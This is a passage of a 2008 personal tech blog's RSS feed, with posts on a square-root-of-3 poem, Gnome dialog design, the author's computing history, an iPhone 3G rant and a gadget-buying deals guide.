&lt;/ul&gt;</content></item><item><title>"The Square Root of 3" - Kumar Does It Again</title><link>https://shantanugoel.com/2008/07/17/the-square-root-of-3-kumar-does-it-again/</link><pubDate>Thu, 17 Jul 2008 15:33:46 +0000</pubDate><guid>https://shantanugoel.com/2008/07/17/the-square-root-of-3-kumar-does-it-again/</guid><description>&lt;p&gt;I watched &amp;ldquo;Harold and Kumar: Escape from Guantanamo Bay&amp;rdquo; a few days ago. Cool movie, though not as awesome as &amp;ldquo;Go to White Castle&amp;rdquo; one. But one thing that I liked was the poem that Kumar (Kal Penn) recites in an attempt to woo back her love by embarrassing himself more than he had embarrassed her (Yes, you can see such situations only in H&amp;amp;K movies ;) ). The poem is actually written by one &amp;ldquo;David Feinberg&amp;rdquo;. And it may sound too geeky or lame to most normal people, but then again, we all know that I ain&amp;rsquo;t no normal fella. So, here it goes for your consumption (People who skipped maths in school might want to chew on a few appetizers first):&lt;/p&gt;</description><content>&lt;p&gt;I watched &amp;ldquo;Harold and Kumar: Escape from Guantanamo Bay&amp;rdquo; a few days ago. Cool movie, though not as awesome as &amp;ldquo;Go to White Castle&amp;rdquo; one. But one thing that I liked was the poem that Kumar (Kal Penn) recites in an attempt to woo back her love by embarrassing himself more than he had embarrassed her (Yes, you can see such situations only in H&amp;amp;K movies ;) ). The poem is actually written by one &amp;ldquo;David Feinberg&amp;rdquo;. And it may sound too geeky or lame to most normal people, but then again, we all know that I ain&amp;rsquo;t no normal fella. So, here it goes for your consumption (People who skipped maths in school might want to chew on a few appetizers first):&lt;/p&gt;
&lt;p&gt;I fear that I will always be&lt;/p&gt;
&lt;p&gt;A lonely number like root three&lt;/p&gt;
&lt;p&gt;The three is all that’s good and right,&lt;/p&gt;
&lt;p&gt;Why must my three keep out of sight&lt;/p&gt;
&lt;p&gt;Beneath the vicious square root sign,&lt;/p&gt;
&lt;p&gt;I wish instead I were a nine&lt;/p&gt;
&lt;p&gt;For nine could thwart this evil trick,&lt;/p&gt;
&lt;p&gt;with just some quick arithmetic&lt;/p&gt;
&lt;p&gt;I know I’ll never see the sun, as 1.7321&lt;/p&gt;
&lt;p&gt;Such is my reality, a sad irrationality&lt;/p&gt;
&lt;p&gt;When hark! What is this I see,&lt;/p&gt;
&lt;p&gt;Another square root of a three&lt;/p&gt;
&lt;p&gt;As quietly co-waltzing by,&lt;/p&gt;
&lt;p&gt;Together now we multiply&lt;/p&gt;
&lt;p&gt;To form a number we prefer,&lt;/p&gt;
&lt;p&gt;Rejoicing as an integer&lt;/p&gt;
&lt;p&gt;We break free from our mortal bonds&lt;/p&gt;
&lt;p&gt;With the wave of magic wands&lt;/p&gt;
&lt;p&gt;Our square root signs become unglued&lt;/p&gt;
&lt;p&gt;Your love for me has been renewed&lt;/p&gt;</content></item><item><title>A New Resource For Reverse Engineering (and more)...</title><link>https://shantanugoel.com/2008/07/14/a-new-resource-for-reverse-engineering-and-more/</link><pubDate>Mon, 14 Jul 2008 14:18:32 +0000</pubDate><guid>https://shantanugoel.com/2008/07/14/a-new-resource-for-reverse-engineering-and-more/</guid><description>&lt;p&gt;My brother “&lt;a href="http://www.amitslab.com/rants/"&gt;Amit Goel&lt;/a&gt;” has started a tech blog, primarily about Reverse Engineering nuances, but he plans to write much more. Pay him a visit at &lt;a href="http://amitslab.com/blog/"&gt;Amit’s Lab&lt;/a&gt; and let him know what topics you want him to discuss about.&lt;/p&gt;</description><content>&lt;p&gt;My brother “&lt;a href="http://www.amitslab.com/rants/"&gt;Amit Goel&lt;/a&gt;” has started a tech blog, primarily about Reverse Engineering nuances, but he plans to write much more. Pay him a visit at &lt;a href="http://amitslab.com/blog/"&gt;Amit’s Lab&lt;/a&gt; and let him know what topics you want him to discuss about.&lt;/p&gt;</content></item><item><title>The Biggest Flaw in Gnome UI</title><link>https://shantanugoel.com/2008/07/07/the-biggest-flaw-in-gnome-ui/</link><pubDate>Mon, 07 Jul 2008 14:28:02 +0000</pubDate><guid>https://shantanugoel.com/2008/07/07/the-biggest-flaw-in-gnome-ui/</guid><description>&lt;p&gt;Everywhere you go, any building you enter, any OS you operate, any settings window you open, one rule remains set in stone, “THE ESCAPE DOOR”. Always give an exit path, a way to make it all go away, make it look like nothing happened. But Gnome seems to think otherwise. Any settings window you open, all you see is a “close” button.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/gnome_2Dui_2Dflaw.jpg"&gt;&lt;img src="https://shantanugoel.com/img/uploads/gnome_2Dui_2Dflaw_thumb.jpg" alt="Gnome-ui-flaw"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I made a few changes and then tried to “undo” them by using the following methods:&lt;/p&gt;</description><content>&lt;p&gt;Everywhere you go, any building you enter, any OS you operate, any settings window you open, one rule remains set in stone, “THE ESCAPE DOOR”. Always give an exit path, a way to make it all go away, make it look like nothing happened. But Gnome seems to think otherwise. Any settings window you open, all you see is a “close” button.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/gnome_2Dui_2Dflaw.jpg"&gt;&lt;img src="https://shantanugoel.com/img/uploads/gnome_2Dui_2Dflaw_thumb.jpg" alt="Gnome-ui-flaw"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I made a few changes and then tried to “undo” them by using the following methods:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Pressing the “close” button.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Pressing the little “x” on the upper right corner.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Pressing the “Escape” key.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Pressing “Alt+F4”.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;But no dice. Every method leads to saving of changes. The same thing occurs with EVERY dialogue box you can find in Gnome. I hate to say that this is something Windows seems to have got right (Maybe their UI designers are better than their OS programmers). What’s even more surprising is that even cross-platform apps (e.g. Firefox) give the “Apply” and “Cancel” buttons in Windows but not in Linux.&lt;/p&gt;
&lt;p&gt;I hope Gnome developers listen and patch this up, or if there is any “hidden” tricks up your sleeve that will allow me to “go back in time”, please do let me know.&lt;/p&gt;</content></item><item><title>My Brief History With Computers</title><link>https://shantanugoel.com/2008/06/23/my-brief-history-with-computers/</link><pubDate>Mon, 23 Jun 2008 14:30:00 +0000</pubDate><guid>https://shantanugoel.com/2008/06/23/my-brief-history-with-computers/</guid><description>&lt;p&gt;I’m going to be bespectacled and have been advised to reduce and limit my computer usage considerably. A bit of nostalgia set in on hearing this and I thought about my short journey so far in this wonderland of solid-state and otherwise.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First time I touched a computer&lt;/strong&gt;&lt;br&gt;
1989, at school in 2nd standard&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First command I typed on a computer&lt;/strong&gt;&lt;br&gt;
&amp;ldquo;dir&amp;rdquo;, 1990, 3rd standard&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First game I played on a computer&lt;/strong&gt;&lt;br&gt;
&amp;ldquo;bricks&amp;rdquo;, 1991, 4th standard&lt;/p&gt;</description><content>&lt;p&gt;I’m going to be bespectacled and have been advised to reduce and limit my computer usage considerably. A bit of nostalgia set in on hearing this and I thought about my short journey so far in this wonderland of solid-state and otherwise.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First time I touched a computer&lt;/strong&gt;&lt;br&gt;
1989, at school in 2nd standard&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First command I typed on a computer&lt;/strong&gt;&lt;br&gt;
&amp;ldquo;dir&amp;rdquo;, 1990, 3rd standard&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First game I played on a computer&lt;/strong&gt;&lt;br&gt;
&amp;ldquo;bricks&amp;rdquo;, 1991, 4th standard&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First Colored game I played on a computer&lt;/strong&gt;&lt;br&gt;
&amp;ldquo;Dangerous Dave&amp;rdquo;, 1991, 4th standard&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First program I wrote on a computer&lt;/strong&gt;&lt;br&gt;
&amp;ldquo;Hello, Ankit!&amp;rdquo; in basic, 1992, 5th standard (The pre-teenage rebel in me substituted the &amp;ldquo;world&amp;rdquo; by &amp;ldquo;Ankit&amp;rdquo;. Why &amp;ldquo;Ankit&amp;rdquo;? That&amp;rsquo;s a mystery ;-) )&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First time I held a mouse&lt;/strong&gt;&lt;br&gt;
1992, 5th standard, Windows 3.0&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First Windows Program I used&lt;/strong&gt;&lt;br&gt;
PaintBrush (MSPaint today), 1992, 5th standard&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First &amp;ldquo;3d&amp;rdquo; game I played&lt;/strong&gt;&lt;br&gt;
Wolfenstein 3D (or Wolf), 1993, 6th standard&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First hack&lt;/strong&gt;&lt;br&gt;
&amp;ldquo;Remote controlling&amp;rdquo; friend&amp;rsquo;s school PC by swapping the mouse cords, 1993, 6th standard&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First movie I watched on a computer&lt;/strong&gt;&lt;br&gt;
&amp;ldquo;The wonderful world of Plants&amp;rdquo; or something similar, 1993, 6th standard&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First introduction to the internet&lt;/strong&gt;&lt;br&gt;
1994, 7th standard, A demo by an ISP to the whole school.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First site I opened on the internet&lt;/strong&gt;&lt;br&gt;
disneyland.com, 1994, 7th standard&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First commercial movie I watched on a computer&lt;/strong&gt;&lt;br&gt;
&amp;ldquo;Who Framed Roger Rabbit&amp;rdquo;, 1995, 8th standard&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First introduction to Linux&lt;/strong&gt;&lt;br&gt;
Suse 4.x, 1996, 9th standard&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First self-taught language learnt&lt;/strong&gt;&lt;br&gt;
HTML, 1997, 10th standard&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First Computer at home&lt;/strong&gt;&lt;br&gt;
Celeron 466 MHz, 64 MB RAM, 8GB HDD, for around 60k, 1998, 11th standard&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First C program&lt;/strong&gt;&lt;br&gt;
&amp;ldquo;Hello, Shantanu!&amp;rdquo;, 1998, 11th standard (Now, do you get it?)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First net connection at home&lt;/strong&gt;&lt;br&gt;
1998, 11th standard, ISP:Glide dial up. around 250 bucks for 5 hours at 56 kbps + telephone usage charges.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First Quake III Arena game&lt;/strong&gt;&lt;br&gt;
2000, almost at the end of 12th standard&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First major gaming session&lt;/strong&gt;&lt;br&gt;
2000, QIII Arena, 11 hours straight, Tier1-Tier5, 2 days before my CET exam (Entrance test for my engineering college). For the record, I was so obsessed with QIII back then that I even had a quicky 5-minute game (DM17 map) in the 45 minute break I got during the exam as my home was quite near the exam center.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First &amp;ldquo;real&amp;rdquo; hack&lt;/strong&gt;&lt;br&gt;
2001, B.E., First year. Wrote and installed a TSR onto a friend&amp;rsquo;s system to print out &amp;ldquo;U R Doomed&amp;rdquo; whenever he typed something.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First Linux self-install&lt;/strong&gt;&lt;br&gt;
Red Hat 7.0, 2001, B.E., First year&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Longest Gaming Session till date&lt;/strong&gt;&lt;br&gt;
December 2001, B.E., 2nd year. Deus Ex, 26 hours with 4-5 breaks spanning from 2-15 minutes max. Finished with all the alternate endings.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First major Q3 Arena lan-tournament&lt;/strong&gt;&lt;br&gt;
Early 2002, B.E. 2nd year. At NSIT Innovision tech fest.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First Blog&lt;/strong&gt;&lt;br&gt;
&lt;a href="http://iamhuman.blogspot.com/"&gt;http://iamhuman.blogspot.com&lt;/a&gt;, 2004, B.E., Final year&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First program in the corporate world&lt;/strong&gt;&lt;br&gt;
Optimization and multi-channelization of H.264 stitching, 2004&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First real project in the corporate world&lt;/strong&gt;&lt;br&gt;
Epsilon, the new low cost BTS (Base Transceiver Station) by Nokia, 2004&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First Laptop&lt;/strong&gt;&lt;br&gt;
2005, Compaq Presario R4025, AMD64 2.0 GHz, 1GB RAM, 128 MB gfx Card. US$1300&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First Windows Mobile Program&lt;/strong&gt;&lt;br&gt;
&lt;a href="http://tech.shantanugoel.com/projects/windows-mobile/shantztodaychanger"&gt;ShantzTodayChanger&lt;/a&gt;, 2007&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Finally bought first domain name&lt;/strong&gt;&lt;br&gt;
&lt;a href="http://shantanugoel.com/"&gt;http://shantanugoel.com&lt;/a&gt;, 2008&lt;/p&gt;
&lt;p&gt;These “firsts” aren’t anything big in themeselves but have been an important part of my life in one or the other way making my love for computers growing at an even faster pace. So what are your nostalgic moments with your beloved machine?&lt;/p&gt;</content></item><item><title>More iPhone 3G Nonsense Uncovered: No Tethering</title><link>https://shantanugoel.com/2008/06/14/more-iphone-3g-nonsense-uncovered-no-tethering/</link><pubDate>Sat, 14 Jun 2008 15:57:50 +0000</pubDate><guid>https://shantanugoel.com/2008/06/14/more-iphone-3g-nonsense-uncovered-no-tethering/</guid><description>&lt;p&gt;iPhone 3G, the “supposedly” latest and greatest handhled, just continues to amaze me, with its ridiculousness of course. I mean first they dare to call a machine a smartphone that can’t run more than one app a time, need you to send the unit back even for a battery change, fix the glaring mistakes of its predecessor and call them “features” and make you believe that you are getting it all for cheap while covertly telling you that you need a minimum of 2 year 70$ contract to get it and need to pay through every hole for even software updates. And then they don’t stop this, just out is the information that you can’t tether the “data transfer powerhouse” to your laptops/PCs/Macs.&lt;/p&gt;</description><content>&lt;p&gt;iPhone 3G, the “supposedly” latest and greatest handhled, just continues to amaze me, with its ridiculousness of course. I mean first they dare to call a machine a smartphone that can’t run more than one app a time, need you to send the unit back even for a battery change, fix the glaring mistakes of its predecessor and call them “features” and make you believe that you are getting it all for cheap while covertly telling you that you need a minimum of 2 year 70$ contract to get it and need to pay through every hole for even software updates. And then they don’t stop this, just out is the information that you can’t tether the “data transfer powerhouse” to your laptops/PCs/Macs.&lt;/p&gt;
&lt;p&gt;HSDPA/HSUPA my a**. I mean what good is a “3G” device that doesn’t even let you use the potential of the hyper-speeds by connecting to your bigger machines or even doing video calls. Oh right, I forgot, now you can check your e-mail at 50 messages per minute, WOOHOO!!, I’m so l33t.&lt;/p&gt;
&lt;p&gt;So far the only good things I’ve noticed about the new release are:The MobileMe aka “sync-with-anything-anywhere” service, which although paid (obviously, its Apple we are talking about here), is still interesting. And the new SDK 2.0 that promises the 3rd party devs the same access to the phone as Apple’s devs, seems to be a step in the right direction though it remains to be seen how much of this is actually followed up on by Apple.&lt;/p&gt;
&lt;p&gt;So, what do you feel is &lt;strong&gt;THE&lt;/strong&gt; revolutionary thing about this new Cupertino offering? And of course, chime in with your gripes as well.&lt;/p&gt;</content></item><item><title>Tip: Gadgets, Deals And Stuff You Need To Know - Part III</title><link>https://shantanugoel.com/2008/06/10/tip-gadgets-deals-and-stuff-you-need-to-know-part-iii/</link><pubDate>Tue, 10 Jun 2008 13:05:35 +0000</pubDate><guid>https://shantanugoel.com/2008/06/10/tip-gadgets-deals-and-stuff-you-need-to-know-part-iii/</guid><description>&lt;p&gt;This is the last part in this series. So far we’ve seen &lt;a href="https://shantanugoel.com/2008/06/02/tip-gadgets-deals-and-stuff-you-need-to-know-part-i.html"&gt;how to select the gadget&lt;/a&gt; and &lt;a href="https://shantanugoel.com/2008/06/05/tip-gadgets-deals-and-stuff-you-need-to-know-part-ii.html"&gt;how to get the best price&lt;/a&gt; for it. This time we’ll fill in the last remaining piece of the puzzle, the minor tit-bits that go a long way in preventing a lot of heart-burn. Don’t worry this is a short one.&lt;/p&gt;
&lt;p&gt;This last piece is to make sure that the place that you decided upon to buy your gadget, is OK in all respects, i.e., is not a fraud and has good after-sales service. You don’t have to do much, basically you just need to go thorugh a few reviews. It’s recommended you check more than a couple of these sites for your research about the seller. The main sites for this are &lt;a href="http://www.resellerratings.com/"&gt;ResellerRatings&lt;/a&gt;, &lt;a href="http://bbb.org/"&gt;BBB&lt;/a&gt;, &lt;a href="http://local.yahoo.com/"&gt;Yahoo Local&lt;/a&gt;, &lt;a href="http://froogle.com/"&gt;Froogle&lt;/a&gt;, and if nothing else, you can even ask questions on forums like &lt;a href="http://fatwallet.com/"&gt;FatWallet&lt;/a&gt; and &lt;a href="http://slickdeals.net/"&gt;Slickdeals&lt;/a&gt; for people’s prior experiences with your particular dealer.&lt;/p&gt;</description><content>&lt;p&gt;This is the last part in this series. So far we’ve seen &lt;a href="https://shantanugoel.com/2008/06/02/tip-gadgets-deals-and-stuff-you-need-to-know-part-i.html"&gt;how to select the gadget&lt;/a&gt; and &lt;a href="https://shantanugoel.com/2008/06/05/tip-gadgets-deals-and-stuff-you-need-to-know-part-ii.html"&gt;how to get the best price&lt;/a&gt; for it. This time we’ll fill in the last remaining piece of the puzzle, the minor tit-bits that go a long way in preventing a lot of heart-burn. Don’t worry this is a short one.&lt;/p&gt;
&lt;p&gt;This last piece is to make sure that the place that you decided upon to buy your gadget, is OK in all respects, i.e., is not a fraud and has good after-sales service. You don’t have to do much, basically you just need to go thorugh a few reviews. It’s recommended you check more than a couple of these sites for your research about the seller. The main sites for this are &lt;a href="http://www.resellerratings.com/"&gt;ResellerRatings&lt;/a&gt;, &lt;a href="http://bbb.org/"&gt;BBB&lt;/a&gt;, &lt;a href="http://local.yahoo.com/"&gt;Yahoo Local&lt;/a&gt;, &lt;a href="http://froogle.com/"&gt;Froogle&lt;/a&gt;, and if nothing else, you can even ask questions on forums like &lt;a href="http://fatwallet.com/"&gt;FatWallet&lt;/a&gt; and &lt;a href="http://slickdeals.net/"&gt;Slickdeals&lt;/a&gt; for people’s prior experiences with your particular dealer.&lt;/p&gt;
&lt;p&gt;I hope the series has been informative enough for you and maybe you were able to save a few bucks. Let me know if it was so, or if you have some tricks up your sleeve that you’d like to share with others.&lt;/p&gt;</content></item><item><title>Tip: Gadgets, Deals And Stuff You Need To Know - Part II</title><link>https://shantanugoel.com/2008/06/04/tip-gadgets-deals-and-stuff-you-need-to-know-part-ii/</link><pubDate>Wed, 04 Jun 2008 22:30:00 +0000</pubDate><guid>https://shantanugoel.com/2008/06/04/tip-gadgets-deals-and-stuff-you-need-to-know-part-ii/</guid><description>&lt;p&gt;Last time we discussed &lt;a href="https://shantanugoel.com/2008/06/02/tip-gadgets-deals-and-stuff-you-need-to-know-part-i.html"&gt;how to select the gadget&lt;/a&gt; that you want to buy. This time I&amp;rsquo;ll tell you some of the things that I do to find the best price for it.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Use Price Comparison Engines&lt;/strong&gt;: These engines will let you search for your desired products and provide a comparison of the costs at which they are available at different stores online as well as offline. Two of my favourites are &lt;a href="http://www.pricegrabber.com/"&gt;Price Grabber&lt;/a&gt; and &lt;a href="http://www.froogle.com/"&gt;Froogle&lt;/a&gt;. Price Grabber has the added benefits of providing user reviews about the product as well.&lt;/p&gt;</description><content>&lt;p&gt;Last time we discussed &lt;a href="https://shantanugoel.com/2008/06/02/tip-gadgets-deals-and-stuff-you-need-to-know-part-i.html"&gt;how to select the gadget&lt;/a&gt; that you want to buy. This time I&amp;rsquo;ll tell you some of the things that I do to find the best price for it.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Use Price Comparison Engines&lt;/strong&gt;: These engines will let you search for your desired products and provide a comparison of the costs at which they are available at different stores online as well as offline. Two of my favourites are &lt;a href="http://www.pricegrabber.com/"&gt;Price Grabber&lt;/a&gt; and &lt;a href="http://www.froogle.com/"&gt;Froogle&lt;/a&gt;. Price Grabber has the added benefits of providing user reviews about the product as well.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Deal Sites&lt;/strong&gt;: Many sites across the web aggregate the latest deals. Some are run by the site owners, e.g., &lt;a href="http://www.deals2buy.com/"&gt;Deals2Buy&lt;/a&gt;, &lt;a href="http://www.hotdealsclub.com/"&gt;HotDealsClub&lt;/a&gt; etc, which are mostly almost same to each other. Some are run by the community, e.g. &lt;a href="http://slickdeals.net/"&gt;slickdeals&lt;/a&gt;, &lt;a href="http://fatwallet.com/"&gt;fatwallet&lt;/a&gt;, etc. These have an added advantage that the discussion that takes place on the original discussion adds a lot of value and insight in terms of how to stack on even better deals on top of it, provides comparison to other deals, rumours about coming deals in advance, and even deals local to your state, city or a particular store as well.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Bargain Sites&lt;/strong&gt;: These sites sell overstocked products at a cheap price. Some of the popular ones are &lt;a href="http://overstock.com/"&gt;Overstock&lt;/a&gt;, &lt;a href="http://www.smartbargains.com/"&gt;Smart Bargains&lt;/a&gt;, &lt;a href="http://woot.com/"&gt;W00t&lt;/a&gt;, &lt;a href="http://stootsi.com/"&gt;Stootsi&lt;/a&gt;, etc. W00t and Stootsi are a bit different in the sense that they have very limited number of products available at a time for sale (generally just 1).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Coupon Codes Sites&lt;/strong&gt;: Many sites aggregate coupon codes for various online and offline stores that you can use with your purchase to lower the price further. However, you need to go through the terms and conditions carefully as some coupons might be expired or might not work with your particular product.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Mail In Rebates&lt;/strong&gt;: Mail In Rebates are a great way to save a lot of money and even make money on buying things. Basically what you have to do is fill in a form and send it to a given address along with proof of purchase or UPC code. And anywhere between 2–10 weeks you’ll receive a check for the said amount. So, be on the lookout for mail in rebates on manufacturers’ or sellers’ sites. But beware that mail-in-rebates don’t have 100% reliability. They might take a lot of time and might not even come. So, you better depend on them only if you are in US for more than a few weeks and keep tracking them through your mail-in-rebates’ tracking site.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Cash Back&lt;/strong&gt;: Many sites give cash backs if you go to the seller’s site through them. An example for this is Fat Wallet.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Pricematch&lt;/strong&gt;: This is a great weapon that most people don’t know about or don’t take into consideration. Many shops (generally brick n mortar ones) give a lowest price gaurantee and if you are getting a product at a cheaper rate some place else, they will give u a discount on the difference. e.g. Staples has a 110% price match policy, so if they sell smthing at 50$, and some other place sells it 40$, then they will give it to you for 50 – 1.1x(50–40) = 39$. But many shops will price match to offline shops online and some will consider online ones as well.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Use Your Mouth (and brains)&lt;/strong&gt;: Don’t think wrong, you perverts ;). By mouth I mean “talking/conversing/convincing”. You can even negotiate prices at many places (Search for the BestBuy motto), and many times you need to convince the floor managers to allow you to stack on coupons after coupons over a product that is already being given at a discount and then get a couple of freebies as well ;).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Well, this is by no means a complete list but I’ve tried to list the most important ones atleast. If I missed out on something, or if you have your own strategies or sites you visit to get the best deals, please share it with us as well.&lt;/p&gt;</content></item><item><title>Tip: Gadgets, Deals And Stuff You Need To Know - Part I</title><link>https://shantanugoel.com/2008/06/02/tip-gadgets-deals-and-stuff-you-need-to-know-part-i/</link><pubDate>Mon, 02 Jun 2008 04:00:00 +0000</pubDate><guid>https://shantanugoel.com/2008/06/02/tip-gadgets-deals-and-stuff-you-need-to-know-part-i/</guid><description>&lt;p&gt;If you are a gadget freak like me and can’t resist the temptations to buy the newest toy on the shelves, then you’d obviously want to eek out the maximum you can from whatever budget you have. But while doing so you have to take care of a lot of things. Here is Part I of the few things that I do get the best deals out there while making sure I’m buying the right thing from the right place.&lt;/p&gt;</description><content>&lt;p&gt;If you are a gadget freak like me and can’t resist the temptations to buy the newest toy on the shelves, then you’d obviously want to eek out the maximum you can from whatever budget you have. But while doing so you have to take care of a lot of things. Here is Part I of the few things that I do get the best deals out there while making sure I’m buying the right thing from the right place.&lt;/p&gt;
&lt;p&gt;The first step to buying anything is obviously whether you are buying the right thing. The list of do’s and don’t and this regard are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Do not blindly go by the what the manufacturer’s site says. After all I’ll always say that I my product is the best.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Do not just make the decision based on the feature set. More features mean more possible points of failure, so a device with fewer features but better reliability is obviously much better than the one that promises the moon but only the “once in a blue -“ kinds.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Make sure to search for similar products from other manufacturers. Just because it comes from Apple’s stable doesn’t make it the best. (For the record, in general, I don’t like anything that comes from Cupertino)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Look for the reviews. Search for the reviews for the product you have in mind, but a big problem with this has now arisen with the advent of “paid reviews”. But of course, you can always turn towards the community. Read through all the site-based single person reviews as well but also look for forums and other communities related to the type of gadget you have in mind. e.g. – For cameras, DPReview is a good place to go, for WM smart phones, XDA-Developers is the place to be, etc.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Is the after-sales support good? You don’t want to be locked out with a product that you can’t do anything about if something goes wrong.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Look also for the hidden costs of product. Many a times the base product is cheap but then it requires you to shell out a fortune in terms of required accessories to yield it’s full potential (e.g. Archos players).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Maintenance costs:e.g. Most Apple products dont have easily replaceable parts and need to be sent back to factory for even things like a new battery.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now, the list above seems small but when put into practice it isn’t. But obviously, a geek who can handle all the latest electronic gizmos can surely handle the irks that come while chosing one, and of course, within a short while, it will become second nature to you.&lt;/p&gt;
&lt;p&gt;Are there any other things that you look for buying your new boy-toy? Do let me know. Next time, we will look at how to get the best deals for the stuff you crave.&lt;/p&gt;</content></item><item><title>Google's New Favicon</title><link>https://shantanugoel.com/2008/05/30/googles-new-favicon/</link><pubDate>Fri, 30 May 2008 19:16:21 +0000</pubDate><guid>https://shantanugoel.com/2008/05/30/googles-new-favicon/</guid><description>&lt;p&gt;It’s amazing, isn’t it? Even a sneeze at google makes the headlines. Well, it’s not the sneeze today but the new favicon I just got. So, are you also seeing the all new, re-designed, artisticly polished “g” as the new favicon?&lt;/p&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/favicon.ico" alt="New Google Favicon"&gt;&lt;/p&gt;
&lt;p&gt;In other news, my &lt;a href="https://shantanugoel.com/2008/05/14/keep-tab-on-home-security-with-a-webcam-and-twitter.html"&gt;Twitter-Webcam integration post&lt;/a&gt; has bypassed my earlier lifehacked post about &lt;a href="https://shantanugoel.com/projects/windows/remote-file-access-through-e-mail"&gt;Remote File Access Through E-mail&lt;/a&gt; by more than a few thousands, even though the time difference between the two posts is more than 3 months. Thanks Stumble Upon :)&lt;/p&gt;</description><content>&lt;p&gt;It’s amazing, isn’t it? Even a sneeze at google makes the headlines. Well, it’s not the sneeze today but the new favicon I just got. So, are you also seeing the all new, re-designed, artisticly polished “g” as the new favicon?&lt;/p&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/favicon.ico" alt="New Google Favicon"&gt;&lt;/p&gt;
&lt;p&gt;In other news, my &lt;a href="https://shantanugoel.com/2008/05/14/keep-tab-on-home-security-with-a-webcam-and-twitter.html"&gt;Twitter-Webcam integration post&lt;/a&gt; has bypassed my earlier lifehacked post about &lt;a href="https://shantanugoel.com/projects/windows/remote-file-access-through-e-mail"&gt;Remote File Access Through E-mail&lt;/a&gt; by more than a few thousands, even though the time difference between the two posts is more than 3 months. Thanks Stumble Upon :)&lt;/p&gt;</content></item><item><title>My Top 5 Comics For The Geeks</title><link>https://shantanugoel.com/2008/05/26/my-top-5-comics-for-the-geeks/</link><pubDate>Mon, 26 May 2008 15:00:01 +0000</pubDate><guid>https://shantanugoel.com/2008/05/26/my-top-5-comics-for-the-geeks/</guid><description>&lt;p&gt;If you think that all geeks do is walk around wearing thick glasses, code in unreadable languages and make weird gizmos from parts scrapped out of your junkyard, well you think wrong. We do like to have our share of fun. And what better to begin the day with a nice hot cuppa along with some geeky humour. Folks, here it is, the 5 comic strips that I love the most (in no particular order):&lt;/p&gt;</description><content>&lt;p&gt;If you think that all geeks do is walk around wearing thick glasses, code in unreadable languages and make weird gizmos from parts scrapped out of your junkyard, well you think wrong. We do like to have our share of fun. And what better to begin the day with a nice hot cuppa along with some geeky humour. Folks, here it is, the 5 comic strips that I love the most (in no particular order):&lt;/p&gt;
